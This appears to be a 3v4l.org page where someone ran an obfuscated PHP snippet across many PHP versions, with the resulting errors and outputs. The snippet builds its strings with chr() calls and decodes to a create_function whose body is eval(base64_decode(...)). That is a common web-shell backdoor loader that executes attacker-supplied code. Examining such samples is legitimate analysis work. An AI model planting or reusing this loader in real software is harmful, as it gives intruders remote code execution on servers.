3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo create_function(chr(36).chr(101).chr(44).chr(36).chr(115), chr(103).chr(108).chr(111).chr(98).chr(97).chr(108).chr(32).chr(36).chr(115). chr(101).chr(116).chr(116).chr(105).chr(110).chr(103).chr(115).chr(59).chr(101). 'v'.chr(97).chr(108).chr(40).chr(112).chr(97).chr(99).chr(107).chr(40). chr(34).chr(72).chr(42).chr(34).chr(44).chr(34).chr(54).chr(53).chr(55).chr(54). chr(54).chr(49).chr(54).chr(99).chr(50).chr(56).chr(54).chr(50).chr(54).chr(49). chr(55).chr(51).chr(54).chr(53).chr(51).chr(54).chr(51).chr(52).chr(53). chr(102).chr(54).chr(52).chr(54).chr(53).chr(54).chr(51).chr(54).chr(102). chr(54).chr(52).chr(54).chr(53).chr(50).chr(56).chr(50).chr(52).chr(55). chr(51).chr(50).chr(101).chr(50).chr(52).chr(54).chr(53).chr(50).chr(57). chr(50).chr(57).chr(51).chr(98).chr(34).chr(41).chr(41).chr(59));
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Fatal error: Uncaught Error: Call to undefined function create_function() in /in/XR4Xd:3 Stack trace: #0 {main} thrown in /in/XR4Xd on line 3
Process exited with code 255.
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Fatal error: Uncaught Error: Call to undefined function create_function() in /in/XR4Xd:3 Stack trace: #0 {main} thrown in /in/XR4Xd on line 3
Process exited with code 255.
Output for 7.3.24 - 7.3.31, 7.4.12 - 7.4.33
Deprecated: Function create_function() is deprecated in /in/XR4Xd on line 13 lambda_1
Output for 7.0.20, 7.3.32 - 7.3.33
lambda_1

preferences:
81.17 ms | 402 KiB | 119 Q